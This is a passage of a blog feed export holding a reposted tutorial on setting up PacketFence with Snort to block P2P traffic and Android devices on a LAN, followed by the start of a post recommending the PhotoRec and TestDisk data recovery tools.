5)&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;You have administrative rights to the machine Packetfence is installed on.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;That's all. I am going to demonstrate how to block two types of traffic. First I am going to demonstrate how to block P2P traffic (such as Limewire) which will be followed by how to block iPhone/Android phone access to your network.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;b&gt;Adding the Final Piece: Snort&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;In order for Packetfence to block specific services or devices you have to enlist the help of Snort. Snort is a network intrusion detection system. In order to install Snort, follow these steps:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Open up a terminal window.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;su to the root user or use &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;sudo&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Issue the command &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;yum install snort&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;With Snort installed you are almost ready. However, you will need to get rules so that Snort knows what is an intrusion. By default Snort installs without any rules. In order to add rules you have two options:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Write your own rules.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Download and install pre-configured rules from the Snort Website&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;I highly recommend you opt for the latter (as writing your own rules will take a lot of time and effort). To do this you will need to register on the Snort web site. You can sign up for the free account and still download rules. Once you have signed up and activated your account, download the rules and then follow these steps:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Open up a terminal window.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Change to the directory the snortrules-snapshot-XXX.tar.gz file was downloaded to (Where XXX is the release number that matches the Snort release installed on your machine.)&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Issue the command &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;tar xvzf snortrules-snapshot-XXX.tar.gz&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; (Where XXX is the release number).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Change into the newly created rules folder.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Issue the command &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;cp * /etc/snort/rules/&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;You now have all the rules you need for Snort to work. Start up Snort with the command &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;/etc/rc.d/init.d/snortd start&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;. You should now see &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;/var/log/messages&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; starting to fill up with information from Snort. Now it's time to re-configure Packetfence.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;b&gt;Enable Snort&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Since you just added Snort, you need to make Packetfence aware. To do this open up the &lt;b&gt;/usr/local/pf/conf/pf.conf&lt;/b&gt; file and add the following:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;[services]&lt;br /&gt;&lt;br /&gt;snort=/usr/sbin/snort&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Save the file and restart Packetfence with the command &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;/usr/local/pf/bin/pfcmd service pf restart&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; — Packetfence is now using Snort.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;b&gt;Choosing the Correct Template&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Before we can get into the actual configuration and blocking of services/devices, we first have to re-configure Packetfence to run in a mode other than testing. In the first article I illustrated how to configure and start Packetfence in testing mode. This is great for making sure things are working as Packetfence will only log events (not act upon them). In order to get Packetfence to actually act upon a violation, you have to reconfigure it to run using a different template. The templates you can choose from are:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Test mode&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Registration&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Detection&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Registration &amp;amp; Detection&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Registration, Detection &amp;amp; Scanning&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Session-based Authentication&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;The template you want to choose is Registration, Detection &amp;amp; Scanning. In order to do that open up a terminal window and do the following:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;su&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; to the root user.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Change to the &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;/usr/local/pf &lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;directory.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Issue the command &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;./configurator.pl&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; .&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Select option [5] for Registration, Detection &amp;amp; Scanning.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Answer all of the questions (this will be similar to your initial installation, as shown in the first article).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Now cd into the &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;/usr/local/pf/bin&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; directory.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Issue the command &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;./pfcmd service pf restart.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Packetfence is now working in the proper mode to act against violations. However, it doesn't know what is a violation. For that we have to turn to the &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;/usr/local/pf/violations.conf&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; file.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;b&gt;Enabling Specific Violations&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;In the &lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;violations.conf&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt; file you will see a long laundry list of violations. Each violation section looks like:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;[2000334]&lt;br /&gt;desc=P2P (BitTorrent)&lt;br /&gt;priority=8&lt;br /&gt;url=/content/index.php?template=p2p&lt;br /&gt;disable=Y&lt;br /&gt;max_enable=1&lt;br /&gt;trigger=Detect::2000334,Detect::2000357,Detect::2000369&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;The above violation is for BitTorrent connections. As you can see this violation, in its default state, is disabled. To enable this violation all you need to do is change the line:&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;disable=Y&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;to&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;, &amp;quot;Courier&amp;quot;, monospace;"&gt;disable=N&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;You will find, listed in the violations, the P2P violation and the Android device violation. Enable both of those, save the file, and restart Packetfence. Now, any device that violates the enabled violations will be denied access and will be logged.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;b&gt;Web Interface&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.linux.com/images/stories/packetfence_node.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="184" src="http://www.linux.com/images/stories/packetfence_node.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;As I mentioned, Packetfence does come with a spiffy Web interface that allows you to manage your Packetfence-protected network. To access this tool open up your browser and point it to &lt;/span&gt;&lt;i&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;https://ADDRESS_TO_SERVER:1443&lt;/span&gt;&lt;/i&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;. When you arrive at this site you will have to log in with your admin credentials (configured during installation of Packetfence). Upon successful authentication you will find yourself at the Packetfence web interface (see Figure 1). Here you can manager each node on your network, add users (for authentication), start/stop various pieces of Packetfence, and configure Packetfence.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;From the Violation tab you can even enable/disable violations using a simple drop-down to select the particular violation you want to enable.&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;b&gt;Final Thoughts&lt;/b&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;As far as Network Access Control goes, you will be hard-pressed to find a more powerful tool than Packetfence. Not only is it powerful, but once installed and configured it is easy to administer and manage. Of course, there is so much more that can be done with Packetfence. For more information read through the outstanding guides offered on the &lt;a href="http://www.packetfence.org/documentation/guides.html"&gt;Packetfence Documentation page&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Original source can be found at &lt;a href="http://www.linux.com/learn/tutorials/391433-block-unwanted-traffic-with-packetfence"&gt;linux&lt;/a&gt;.com&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3971268403351675079-4919488403772568858?l=decibel-elektrobeat.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://decibel-elektrobeat.blogspot.com/feeds/4919488403772568858/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/12/packetfence-blocking-unwanted-traffic.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4919488403772568858'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3971268403351675079/posts/default/4919488403772568858'/><link rel='alternate' type='text/html' href='http://decibel-elektrobeat.blogspot.com/2010/12/packetfence-blocking-unwanted-traffic.html' title='Packetfence, blocking unwanted traffic in the LAN'/><author><name>Elektrobeat</name><uri>http://www.blogger.com/profile/08284449042959808457</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://4.bp.blogspot.com/_ftTE5yk93Zc/S3t7Im2shgI/AAAAAAAAAA0/pYlzDqfyQEE/S220/armando.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3971268403351675079.post-5414382657029574979</id><published>2010-12-15T13:38:00.000-08:00</published><updated>2010-12-15T13:38:18.132-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='recuperar datos'/><category scheme='http://www.blogger.com/atom/ns#' term='free'/><category scheme='http://www.blogger.com/atom/ns#' term='recovery'/><title type='text'>Recuperación de Datos</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.cgsecurity.org/photorec.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="201" src="http://www.cgsecurity.org/photorec.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;There are many times that pople usually ask us if we can bring back their data from a hard disk (or any storage device), 'cause they "accidentally" deleted it. Uf!!! that really piss me off.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Surfing I've found a pair of free and open software that might help us to solve that:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;span style="color: blue;"&gt;PhotoRec&lt;/span&gt; is file data recovery software designed to recover lost files including video, documents and archives from hard disks, CD-ROMs, and lost pictures (thus the Photo Recovery name) from digital camera memory. PhotoRec ignores the file system and goes after the underlying data, so it will still work even if your media's file system has been severely damaged or reformatted.&lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;&lt;span style="color: blue;"&gt;TestDisk&lt;/span&gt; is powerful free data recovery software! It was primarily designed to help recover lost partitions and/or make non-booting disks bootable again when these symptoms are caused by faulty software, certain types of viruses or human error (such as accidentally deleting a Partition Table). Partition table recovery using TestDisk is really easy.&lt;/span&gt;&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Both software can run trough a variety of operating systems, this is the most important issue because there are many programs that only run under Windows platforms consequently FAT and NTFS are only supported file systems, this is something that you don't have to experiment because supported file systems in Photorec and/or TestDisk are:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;BeFS ( BeOS )&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;BSD disklabel ( FreeBSD/OpenBSD/NetBSD )&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;CramFS, Compressed File System&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;DOS/Windows FAT12, FAT16 and FAT32&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Windows exFAT&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;HFS, HFS+ and HFSX, Hierarchical File System&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;JFS, IBM's Journaled File System&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Linux ext2, ext3 and ext4&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Linux LUKS encrypted partition&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Linux RAID md 0.9/1.0/1.1/1.2&lt;br /&gt;-RAID 1: mirroring&lt;br /&gt;-RAID 4: striped array with parity device&lt;br /&gt;-RAID 5: striped array with distributed parity information&lt;br /&gt;-RAID 6: striped array with distributed dual redundancy information&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Linux Swap (versions 1 and 2)&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;LVM and LVM2, Linux Logical Volume Manager&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Mac partition map&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Novell Storage Services NSS&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;NTFS ( Windows NT/2000/XP/2003/Vista/2008/7 )&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;ReiserFS 3.5, 3.6 and 4&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family: &amp;quot;Verdana&amp;quot;, sans-serif;"&gt;Sun Solaris i386 